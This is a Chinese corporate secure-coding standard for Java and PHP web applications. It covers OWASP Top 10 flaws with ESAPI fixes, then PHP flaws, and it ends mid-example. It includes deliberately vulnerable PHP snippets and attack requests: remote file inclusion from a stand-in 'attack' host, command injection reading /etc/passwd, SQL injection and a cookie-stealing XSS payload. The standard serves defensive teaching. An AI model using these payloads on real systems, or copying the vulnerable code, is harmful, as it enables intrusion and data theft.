范围
本规范从应用开发安全管理要求出发,给出了WEB编码安全的具体要求。供浙江公司IT系统内部和厂商使用,适用于省市公司IT系统项目建设WEB工作。
本规范明确定义了JAVA、PHP应用开发中和WEB编码安全相关的技术细节。
与JAVA编码安全相关的内容包括:跨站脚本攻击及解决方法、
SQL注入及解决方法、恶意文件执行及解决方法、不安全的直接对象引用及解决方法、跨站请求伪造及解决方法、信息泄露和错误处理不当及解决方法、残缺的认证和会话管理及解决方法、不安全的加密存储及解决方法、不安全的通信及解决方法、限制URL访问实效解决方法。
与PHP编码安全相关的内容包括:变量滥用及解决方法、文件打开漏洞及解决方法、文件包含漏洞及解决方法、文件上传漏洞及解决方法、命令执行漏洞及解决方法、变量类型缺陷及解决方法、警告及错误信息处理解决方法、PHP与MYSQL组合的
SQL注入解决方法、跨站脚本解决方法。
1.规范概述
Web应用程序为结构设计人员、设计人员和开发人员提出一系列复杂的安全问题。最安全、最有能力抵御攻击的Web应用程序是那些应用安全思想构建的应用程序。
在设计初始阶段,应该使用可靠的体系结构和设计方法,同时要结合考虑程序部署以及企业的安全策略。如果不能做到这一点,将导致在现有基础结构上部署应用程序时,要不可避免地危及安全性。
本规范提供一系列安全的体系结构和设计指南,并按照常见的应用程序漏洞类别进行组织。这些指南是Web应用程序安全的重要方面,并且是经常发生错误的领域。
2.实现目标
使用本规范可以实现:
确定安全Web应用程序的重要体系结构和设计问题。
设计时考虑重要部署问题。
制定能增强Web应用程序输入验证的策略。
设计安全的身份验证和会话管理机制。
选择适当的授权模型。
实现有效的帐户管理方法,并保护用户会话。
对隐私、认可、防止篡改和身份验证信息进行加密。
防止参数操作。
设计审核和记录策略。
3.安全编码原则
程序只实现你指定的功能
永不要信任用户输入,对用户输入数据做有效性检查
必须考虑意外情况并进行处理
不要试图在发现错误之后继续执行
尽可能使用安全函数进行编程
小心、认真、细致地编程
4.安全背景知识
本规范主要提供设计应用程序时应该遵循的一些指南和原则。为充分理解本规范内容,请:
了解应用程序将会受到的威胁,以确保通过程序设计解决这些问题。解需要考虑的威胁。在程序设计阶段应该考虑到这些威胁。
在应用程序易受攻击的重要环节应用系统的方法。将重点放在程序部署、输入验证、身份验证和授权、加密及数据敏感度、配置、会话、异常管理以及适当的审核和记录策略上,以确保应用程序具有责任性。
5.JAVA安全编程——OWASP TOP10 AND ESAPI
5.1 OWASP TOP10 与ESAPI
OWASP(开放Web应用安全项目-OpenWebApplicationSecurityProject)是一个开放社群、非营利性组织,目前全球有82个分会近万名会员,其主要目是研议协助解决Web软体安全之准、工具与技术文件,长期致力于协助政府或企业解并改善网页应用程式与网页服务的安全性。
OWASPTOP10是10个最关键的Web应用安全问题清单。这份名单是每隔数年更新(最近2010年)。名单上都是那些通常很简单的,危险的安全问题。这里是一个以在OWASP十大项目的链接。
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
其实简单一点来说,ESAPI就是为编写出更加安全的代码设计出来的一些API,方便使用者调用,从而方便的编写安全的代码。它本身是开源的,同时提供JAVA版本和.NET版本。
代码下载地址:http://code.google.com/p/owasp-esapi-java/
下图显示提供的API与OWASP列出的10个安全问题的盖关系:
下图显示结合ESAPI设计你的程序:
下图简单呈现ESAPI如何运作:
5.2 跨站脚本(
XSS)
5.2.1定义
跨站脚本是最普遍的web应用安全漏洞。当应用程序在发送给浏览器的页面中包含用户提供的数据,但没有经过适当验证或转译那些内容,这就导致跨站脚本漏洞。
5.2.2危害
攻击者能在受害者浏览器中执行脚本以劫持用户会话、pohai网站、插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器等等。
5.2.3种类
已知有三种著名跨站漏洞:1)存储式;2)反射式;3)基于DOM。
反射式跨站脚本通过测试或代码分析很容易找到。
5.2.4解决方法
5.2.4.1.验证输入
验证输入很简单-检查每个输入的有效性。这可能意味着很多东西,但在典型的和简单的情况下,这意味着检查输入类型和数据的长度。例如,如果你是从一个文本框接受一个准的邮政编码,你会知道,唯一有效的类型是一个数字(0-9),而长度应该是6,不能多也不能少。并非所有的案件都如此简单,但很多是相似的。
下图显示验证输入的架构。这里的关键是,一切都进行验证,所有的输入,这并不来自于应用程序(包括用户输入,请求头,Cookie,数据库数据...)。
实例
getValidInput(java.lang.Stringcontext,java.lang.Stringinput,
java.lang.Stringtype,intmaxLength,boolean allowNull,ValidationErrorList
errors)
isValidInput(java.lang.Stringcontext,java.lang.Stringinput,
java.lang.Stringtype,intmaxLength,boolean allowNull)
StringvalidatedFirstName=ESAPI.validator().getValidInput("FirstName",
myForm.getFirstName(),"FirstNameRegex",255,false,errorList);
boolean isValidFirstName=ESAPI.validator().isValidInput("FirstName",
myForm.getFirstName(),"FirstNameRegex",255,false);
5.2.4.2.编码输出
对验证输入的另一面就是编码输出。编码输出,是用来确保字符被视为数据,而不是作为HTML元字符被浏览器解析。这些技术定义一些特殊的"转义"字符。没有正确转义的数据它仍然会在浏览器中正确解析。编码输出只是让浏览器知道数据是不是要被解析,达到攻击无法实现的目的。
需要编码的部分:
1、HTML实体
2、HTML属性
3、Javascript
4、CSS
5、URL
下图像显示编码输出的架构。
实例1——HTML实体编码
//performinginputvalidationStringcleanComment=
ESAPI.validator().getValidInput("comment",
request.getParameter("comment"),"CommentRegex",300,false,errorList);
//checktheerrorListhere......//performingoutputencodingfortheHTML
contextStringsafeOutput=
ESAPI.encoder().encodeForHTML(cleanComment);
实例2——URL编码
//performinginputvalidationStringcleanUserName=
ESAPI.validator().getValidInput("userName",
request.getParameter("userName"),"userNameRegex",50,false,errorList);
//checktheerrorListhere......//performingoutputencodingfortheurlcontext
StringsafeOutput="/admin/findUser.do?name="+
ESAPI.encoder().encodeForURL(cleanUserName);
5.3
SQL注入
5.3.1定义
简单来说,注入往往是应用程序缺少对输入进行安全性检查所引起的,攻击者把一些包含指令的数据发送给解释器,解释器会把收到的数据转换成指令执行,注入漏洞十分普遍,通常能在SQL查询、LDAP查询、Xpath查询、OS命令、程序参数等中出现。
5.3.2危害
注入能导致数据丢失或数据破坏、缺乏可审计性或是拒绝服务。注入漏洞有时甚至能导致完全接管主机。
5.3.3种类
SQL注入、XPATH注入、LDAP注入、OS命令注入等。
5.3.4解决方法
5.3.4.1.
SQL注入实例
String sqlString="SELECT * FROM users WHERE fullname='"+
form.getFullName()+"'AND password='"+form.getPassword()+"'";
正常:username=tony,password=123456
SELECT * FROM users WHERE username=tony' AND password='123456'
攻击:username=tony,password='OR'1'='1
SELECT * FROM users WHERE username=tony'ANDpassword='' OR '1'='1'
5.3.4.2.参数化查询预处理
使用PreparedStatement()绑定变量
下面的代码示例使用一个PreparedStatement,Java的一个参数化查询的执行情况,执行相同的数据库查询。
String custname=request.getParameter("customerName");//This
shouldREALLYbevalidatedtoo//performinputvalidationtodetectattacks
String query="SELECT account_balance FROM user_data
WHERE user_name=?";
PreparedStatementpstmt=
connection.prepareStatement(query);pstmt.setString(1,custname);
ResultSetresults=pstmt.executeQuery();
5.3.4.3.使用存储过程
String custname=request.getParameter("customerName");
//ThisshouldREALLYbevalidated
try{
CallableStatementcs=connection.prepareCall("{call
sp_getAccountBalance(?)}");
cs.setString(1,custname);
ResultSetresults=cs.executeQuery();
//resultsethandling
}catch(SQLExceptionse){
//logginganderrorhandling
}
5.3.4.4.使用ESAPI
//ESAPIversionofquery
CodecORACLE_CODEC=newOracleCodec();
//we'reusingoracle
Stringquery="SELECTnameFROMusersWHEREid="+
ESAPI.encoder().encodeForSQL(ORACLE_CODEC,validatedUserId)+"
AND date_created>='"+
ESAPI.encoder().encodeForSQL(ORACLE_CODEC,validatedStartDate)+"'";
myStmt=conn.createStatement(query);
...
//executestatementandgetresults
5.4恶意文件执行
5.4.1定义
恶意文件执行是一种能够威胁任何网站形式的漏洞,只要攻击者在具有引入(include)功能程式的参数中修改参数内容,
WEB服务器便会引入恶意程序内容从而受到恶意文件执行漏洞攻击。
5.4.2危害
攻击者可利用恶意文件执行漏洞进行攻击取得
WEB服务器控制权,进行不法利益或获取经济利益。
5.4.3解决方法
5.4.3.1实例1
验证输入,使用ESAPI验证上传文件名
if(!ESAPI.validator().isValidFileName("upload",filename,
allowedExtensions,false)){
throw new Validation UploadException("Upload only simple filenames with
thefollowingextensions"+allowedExtensions,"Upload failed
isValidFileName check");
}
5.4.3.2实例2
使用ESAPI检查上传文件大小
ServletFileUpload upload=newServletFileUpload(factory);
upload.setSizeMax(maxBytes);
5.5不安全的直接对象引用
5.5.1定义
所谓"不安全的对象直接引用",即Insecure direct objectreferences,意指一个已经授权的用户,通过更改访问时的一个参数,从而访问到原本其并没有得到授权的对象。Web应用往往在生成Web页面时会用它的真实名字,且并不会对所有的目对象访问时来检查用户权限,所以这就造成不安全的对象直接引用的漏洞。
我们看如下的一个示例,也许这样就更容易理解什么是不安全的对象直接引用。
攻击者发现他自己的参数是6065,即?acct=6065;
他可以直接更改参数为6066,即?acct=6066;
这样他就可以直接看到6066用户的账户信息。
5.5.2危害
这种漏洞能损害参数所引用的所有数据。除非名字空间很稀疏,否则攻击者很容易访问该类型的所有数据。
5.5.3解决方法
5.5.3.1.案例1
使用ESAPI的AccessReferenceMap实现使用非直接的对象引用
MyObjectobj;//generateyourobject
Collectioncoll;//holdsobjectsfordisplayinUI
//create ESAPI random access reference map
AccessReferenceMap map=newRandomAccessReferenceMap();
//get indirect reference using direct reference as seed input
String indirectReference=map.addDirectReference(obj.getId());
//set indirect reference for each object-requires your app object to have this method
bj.setIndirectReference(indirectReference);
//add object to display collection
coll.add(obj);
//store collection in request/session and forward to UI
...
5.5.3.2.案例2
检查访问。来自不受信源所使用的所有直接对象引用都必须包含访问控制检测,这样才能确保用户对要求的对象有访问权限
5.6跨站请求伪造
5.6.1.定义
跨站请求伪造,也被称成为"oneclickattack"或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(
XSS),但它与
XSS非常不同,并且攻击方式几乎相左。
XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与
XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比
XSS更具危险性。
5.6.2.危害
攻击者能让受害用户修改可以修改的任何数据,或者是执行允许使用的任何功能。
5.6.3.解决方法
第一步,新建CSRF令牌添加进用户每次登陆以及存储在httpsession里,这种令牌至少对每个用户会话来说应该是唯一的,或者是对每个请求是唯一的。
//this code is in the DefaultUser implementation of ESAPI
/**This user's CSRF token.*/
Private String csrfToken=resetCSRFToken();
...
Public String resetCSRFToken(){
csrfToken=ESAPI.randomizer().getRandomString(8,
DefaultEncoder.CHAR_ALPHANUMERICS);
returncsrfToken;
}
第二步,令牌同样可以包含在URL中或作为一个URL参数记/隐藏字段。
//from HTTP Utilitiles interface
Final static String CSRF_TOKEN_NAME="ctoken";
//this code is from the Default HTTP Utilities implementation in ESAPI
Public String addCSRFToken(Stringhref){
User user=ESAPI.authenticator().getCurrentUser();
if(user.isAnonymous()){returnhref;}
//if there are already parameters append with&,otherwise append with?
String token=CSRF_TOKEN_NAME+"="+
user.getCSRFToken();
return href.indexOf('?')!=-1?href+"&"+token:href+"?"+token;
}
...
public StringgetCSRFToken(){
User user=ESAPI.authenticator().getCurrentUser();
if(user==null) return null;return user.getCSRFToken();}
第三步,在服务器端检查提交令牌与用户会话对象令牌是否匹配。
//this code is from the Defaul tHTTP Utilities implementation in ESAPI
Public void verifyCSRFToken(HttpServletRequest request)throws
IntrusionException{User user=ESAPI.authenticator().getCurrentUser();
//check if user authenticated with this request-noCSRFprotection required
if(request.getAttribute(user.getCSRFToken())!=null){
return;
}
String token=request.getParameter(CSRF_TOKEN_NAME);
if(!user.getCSRFToken().equals(token)){
throw new IntrusionException("Authenticationfailed",
"Possibly forgeted HTTP request without proper CSRFtokendetected");
}
}
第四步,在注销和会话超时,删除用户对象会话和会话销毁。
//this code is in the DefaultUser implementation of ESAPI
Public void logout(){
ESAPI.httpUtilities().killCookie(ESAPI.currentResponse(),ESAPI.currentRequest(),
HTTPUtilities.REMEMBER_TOKEN_COOKIE_NAME);
HttpSession session=ESAPI.currentRequest().getSession(false);
if(session!=null){
removeSession(session);
session.invalidate();
}
ESAPI.httpUtilities().killCookie(ESAPI.currentRequest(),
ESAPI.currentResponse(),"JSESSIONID");
loggedIn=false;
logger.info(Logger.SECURITY_SUCCESS,"Logout successful");
ESAPI.authenticator().setCurrentUser(User.ANONYMOUS);
}
5.7信息泄露和错处理不当
5.7.1定义
应用程序常常产生错误信息并显示给使用者。很多时候,这些错误信息是非常有用的攻击,因为它们揭示实施细则或有用的开发信息利用的漏洞。
5.7.2危害
泄露太多的细节(如错误堆栈跟踪信息、SQL语句等等);
登录失败后,通知用户是否用户ID或密码出错——登录失败可能是由于ID或密码错误造成的。这为一个对关键资产发动蛮力攻击的攻击者提供重要信息。
5.7.3解决方法
5.7.3.1.案例1
通过web.xml配置文件实现
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error.jsp</location>
</error-page>
5.7.3.2.案例2
针对登录尝试的攻击,可以使用相同的报错信息,比如都是提示"输入的用户名或者密码错误!"。
5.8残缺的认证和会话管理
5.8.1定义
与认证和会话管理相关的应用程序功能往往得不到正确实施,这就导致攻击者破坏密码、密匙、会话令牌或利用实施漏洞冒充其他用户身份。
5.8.2危害
这些漏洞可能导致部分甚至全部帐户遭受攻击。一旦攻击成功,攻击者能执行合法用户的任何操作。因此特权帐户会造成更大的破坏。
5.8.3解决方法
使用内置的会话管理功能。
通过认证的问候:
使用单一的入口点。
确保在一开始登录SSL保护的网页。
获取注销的权利;
添加超时;
确保你使用的是安全相关的功能;
使用强大的认证;
不进行默认身份验证
//BAD-DON'TUSE
Public boolean login(String username,Stringpassword){
Boolean isAuthenticated=true;
try{
//makecalls to backend to actually perform login against datastore
if(!authenticationSuccess){
isAuthenticated=false;
}
}catch(Exceptione){
//handleexc}
returnisAuthenticated;
}
5.9不安全的加密存储
5.9.1定义
保护与加密敏感数据已经成为网络应用的最重要的组成部分。简单不加密的敏感数据是非常普遍。不加密的应用程序设计不当往往含有密码,或者使用不恰当的密码或密码作出强烈的严重错误使用。这些缺陷可以导致违反披露敏感数据的遵守。
5.9.2危害
攻击者能够取得或是篡改机密的或是私有的信息;
攻击者通过这些秘密的窃取从而进行进一步的攻击;
造成企业形象破损,用户满意度下降,甚至会有法律诉讼等。
5.9.3解决方法
验证你的结构
识别所有的敏感数据;
识别这些数据存放的所有位置;
确保所应用的威胁模型能够应付这些攻击;
使用加密手段来应对威胁
使用一定的机制来进行保护
文件加密;
数据库加密;
数据元素加密。
正确的使用这些机制
使用准的强算法;
合理的生成,分发和保护密钥;
准备密钥的变更。
验证实现方法
确保使用准的强算法;
确保所有的证书、密钥和密码都得到安全的存放;
有一个安全的密钥分发和应急处理的方案;
5.10不安全的通信
5.10.1定义
对于不加密的应用程序的网络信息传输,需要保护敏感的通信。加密(通常SSL)的,必须用于所有身份验证的连接,特别是通过Internet访问的网页,以及后端的连接。否则,应用程序将暴露身份验证或会话令牌。
5.10.2危害
ÿ攻击者能够取得或是篡改机密的或是私有的信息;
ÿ攻击者通过这些秘密的窃取从而进行进一步的攻击;
ÿ造成企业形象破损,用户满意度下降,甚至会有法律诉讼等。
5.10.3解决方法
提供合理的保护机制
对于敏感数据的传输,对所有连接都要使用TLS;
在传输前对单个数据都要进行加密;(如XML-Encryption)
在传输前对信息进行名;(如XML-Signature)
正确的使用这些机制
使用准的强算法;
合理管理密钥和证书;
在使用前验证SSL证书
5.11限制URL访问失效
5.11.1定义
这个漏洞事实上也是与认证相关的,与我们前面提到的Top4不安全的直接对象引用也是类似的,不同在于这个漏洞是说系统已经对URL的访问做限制,但这种限制却实际并没有生效。常见的错误是,我们在用户认证后只显示给用户认证过的页面和菜单选项,而实际上这些仅仅是表示层的访问控制而不能真正生效,攻击者能够很容易的就伪造请求直接访问未被授权的页面。
我们举个例子来说明这个过程:
1、攻击者发现他自己的访问地址为/user/getAccounts;
2、他修改他的目录为/admin/getAccounts或/manager/getAccounts;
3、这样攻击者就能够查看到更多的账户信息。
5.11.2解决方法
对每个URL,我们必须做三件事:
如果这个URL不是公开的,那么必须限制能够访问他的授权用户
加强基于用户或角色的访问控制;
完全禁止访问未被授权的页面类型(如配置文件、日志文件、源文件等)
验证你的构架
在每一个层次都使用简单肯定的模型;
确保每一层都有一个访问机制
验证你的实现
不要使用自动化的分析工具;
确保每个URL都被外部过滤器或其他机制保护;
确保服务器的配置不允许对非授权页面的访问
实例
public boolean isAuthorized(Object key,Object runtimeParameter);
public voidassertAuthorized(Object key,Object runtimeParameter) throws
AccessControlException;
boolean isAuthorizedForURL(String url);
boolean isAuthorizedForFunction(String functionName);
boolean isAuthorizedForData(String action,Objectdata);
boolean isAuthorizedForFile(String filepath);
boolean isAuthorizedForService(String serviceName);
voidassertAuthorizedForURL(String url)throwsAccessControlException;
voidassertAuthorizedForFunction(String functionName) throws
AccessControlException;
voidassertAuthorizedForData(String action,Objectdata) throws
AccessControlException;
voidassertAuthorizedForFile(String filepath)throws AccessControlException;
voidassertAuthorizedForService(String serviceName) throws
AccessControlException;
6.PHP安全编程
6.1 PHP简介
6.1.1 PHP介绍
PHP是一种非常容易上手的脚本语言,在web上应用十分广泛。
PHP的开发者已经考虑到很多安全问题,设置相当灵活。
PHP自身提供的安全模式能够在很大程度避免在程序的安全问题,但也给编程带来一些麻烦。
6.1.2PHP安全模式
safe_mode=On
php_admin_valuesafe_mode1
safe_mode_gid=On
safe_mode_exec_dir=/usr/local/php/exec
safe_mode_include_dirstring
safe_mode_allowed_env_varsstring
safe_mode_protected_env_varsstring
6.1.3通用安全解决方案
6.1.3.1.禁用无用的函数
如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:
disable_functions=phpinfo,get_cfg_var
可以指定多个函数,用逗号分开。重启apache后,phpinfo,get_cfg_var函数都被禁止。建议关闭函数phpinfo,get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。
6.1.3.2.禁用某些类
这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。
6.1.3.3.限制脚本操作路径
前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说"open_basedir=/dir/incl"也会允许访问"/dir/include"和"/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir=/dir/incl/"。
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。
6.1.3.4.其他安全配置
取消其它用户对常用、重要系统命令的读写执行权限
一般管理员维护只需一个普通用户和管理用户,除这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2/bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作。
去掉apache日志其它用户的读权限
apache的access-log给一些出现本地包含漏洞的程序提供方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。
当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件。
保持运行环境干净
不要在Web目录放测试文件。(黑吧安全网 http://www.myhack58.com)
6.2变量滥用
6.2.1漏洞描述
早起版本PHP默认register_globals=On
脚本程序员已经习惯直接使用变量,包括用户端过来的变量
由于脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
<?
//test_1.php
if($pass=="hello")
$auth=1;
if($auth==1)
echo"some important information";
else
echo"nothing";
?>
6.2.2攻击方法
攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的程文件拷贝漏洞:http://www.securityfocus.com/bid/3361
6.2.3解决方法
PHP-4.1.0发布的时候建议关闭register_globals,并提供7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals=Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免攻击者控制判断变量。
解决方法:
配置文件php.ini设置register_globals=Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
6.3文件打开
6.3.1.漏洞描述
极易受攻击的代码片断test_2.php:
<?
//test_2.php
if(!($str=readfile("$filename"))){
echo("Could not open file:$filename<BR>\n");
exit;
}
else{
echo$str;
}
?>
6.3.2.攻击方法
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到
/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(),file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
6.3.3.解决方法
解决方法:
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
<Directory/usr/local/apache/htdocs>
php_admin_valueopen_basedir/usr/local/apache/htdocs
</Directory>
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件,否则PHP就会报错:
Warning:open_basedirrestrictionineffect.Fileisinwrongdirectoryin xxx online xx.
使用safe_mode模式也能避免这种问题,前面已经讨论过。
6.4文件包含
6.4.1漏洞描述
PHP的包含函数有include(),include_once(),require(),require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以程执行命令。
极易受攻击的代码片断:
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
6.4.2攻击方法
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP(Win版的PHP不支持程打开文件)攻击者可以在自己开http或ftp服务的机器上建立一个包含shell命令的文件,如
http://attack/attack.txt的内容是<?passthru("ls/etc")?>,那么如下的请求就可以在目主机执行命令ls/etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种文件包含形式,如下代码片断:
<?
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己控制的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目主机执行命令:
http://victim/test_4.php?lib=http://attack
6.4.3解决方法
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的程文件打开功能。修改php.ini文件:
allow_url_fopen=Off
重启apache。
6.5文件上传
6.5.1漏洞描述
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义四个变量:(如form变量名是file,而且register_globals打开)
$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG)
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用:
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
或:
$_FILES['file']['tmp_name']
$_FILES['file']['size']
$_FILES['file']['name']
$_FILES['file']['type']
6.5.2攻击方法
易受攻击的文件上传代码片断:
<?
//test_5.php
if(isset($upload)&&$file!="none"){
copy($file,"/var/www/upload/".$file_name);
echo"文件".$file_name."上传成功!点击<ahref=\"$PHP_SELF\">继续上
传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<metahttp-equiv="Content-Type"content="text/html;charset=gb2312">
</head>
<bodybgcolor="#FFFFFF">
<formenctype="multipart/form-data"method="post">
上传文件:
<inputtype="file"name="file"size="30">
<inputtype="submit"name="upload"value="上传">
</form>
</body>
</html>
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/var/www/upload(注意:这个目录必须nobody可写)下的attack.txt文件里:
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下请求读取口令文件:
http://victim/test/attack.txt
攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
6.5.3解决方法
PHP-4.0.3以后提供is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。使用$HTTP_POST_FILES或$_FILES数组来读取用户上传的文件变量。严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:
<Directory/usr/local/apache/htdocs/upload>
php_flagengineoff
#如果是php3换成php3_engineoff
</Directory>
重启apache,upload目录的php文件就不能被apache解释,即使上传php文件也没有问题,只能直接显示源码。
6.6命令执行
6.6.1漏洞描述
下面的代码片断是从PHPNetToolpack摘出,详细的描述见:
http://www.securityfocus.com/bid/4303
<?
//test_6.php
system("traceroute$a_query",$ret_strs);
?>
6.6.2攻击方法
由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。攻击者输入如下请求可以执行cat/etc/passwd命令:
http://victim/test_6.php?a_query=www.example.com;cat/etc/passwd
PHP的命令执行函数还有system(),passthru(),popen()和``等。命令执行函数非常危险,尽量用相关的函数来代替。如果要使用一定要严格检查用户输入。
6.6.3解决方法
解决方法:
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。启用safe_mode可以绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。
6.7变量类型缺陷
6.7.1缺陷描述
PHP程序员基本上不关注变量类型
serialize字串可以定义各种类型的变量
编程的疏忽就导致漏洞的产生
phpBB22.0.13以下版本验证绕过漏洞
if($sessiondata['autologinid']==$auto_login_key)
6.7.2解决方法
逻辑比较时注意变量类型
必要的时候使用"===",那么连变量类型一起比较
6.8警告及错误信息
6.8.1漏洞描述
PHP默认显示所有的警告及错误信息:
error_reporting=E_ALL&~E_NOTICE
display_errors=On
在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏脚本所在的物理路径,为攻击者的进一步攻击提供有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。
6.8.2解决方法
修改php.ini中关于Errorhandlingandlogging部分内容:
error_reporting=E_ALL
display_errors=Off
log_errors=On
error_log=/usr/local/apache/logs/php_error.log
然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让
nobody用户可写。
6.9PHP与Mysql组合的
SQl注入
6.9.1漏洞描述
PHP相对安全
默认magic_quotes_gpc=On
mysql_query()函数只允许执行一条SQL语句
最可能被注入的SQL语句:
select*fromtestwhereid=$id
对于数字类型的字段,很多程序员会这样写
危害比较严重的情况
MySQL版本大于等于4
PHP脚本使用MySQL的root用户来连接数据库
MySQL的用户自定义函数功能
6.9.2解决方法
解决方法:
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。使是数字类型的字段,变量也要用单引号扩起来,
MySQL自己会把字串处理成数字。在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作。
6.9.2.1防护实例1——使用mysql_real_escape_string()函数
<?php
if(isset($_GET['Submit'])){
//Retrievedata
$id=$_GET['id'];
$id=mysql_real_escape_string($id);
$getid="SELECT first_name,last_name FROM users WHEREuser_id=$id";
$result=mysql_query($getid)ordie('<pre>'.mysql_error().'</pre>');
$num=mysql_numrows($result);
}
}
?>
6.9.2.2防护实例2——使用stripslashes()函数
<?php
//Retrievedata
$id=$_GET['id'];
$id=stripslashes($id);
$id=mysql_real_escape_string($id);
if(is_numeric($id))
{
$getid="SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id'";
$result=mysql_query($getid)ordie('<pre>'.mysql_error().'</pre>');
$num=mysql_numrows($result);
}
}
?>
6.10跨站脚本
6.10.1漏洞描述
极易受攻击的代码片断
xsstest.php:
<?php
if($_GET['name']==NULL||$_GET['name']=='')
{
$isempty=true;
}
else{
echo'<pre>';
echo'Hello'.$_GET['name'];
echo'</pre>';
}
?>
由于攻击者可以输入任何字符,攻击者用如下的请求就可以看到cookie:
http://192.168.12.201/dvwa/vulnerabilities/xss_r/?name=<script>alert(docume
nt.cookie)</script>
6.10.2解决方法
解决方法:
确认输入
strip_tags()
htmlspecialchars()
清除危险的插入点。
防护实例1——strip_tags()
<?php
if($_GET['name']==NULL||$_GET['name']==''){
$isempty=true;
}
Else
{
echo'<pre>';
echo'Hello'.strip_tags($_GET['name']);
echo'</pre>';
}
?>
防护实例2——htmlspecialchars()
<?php
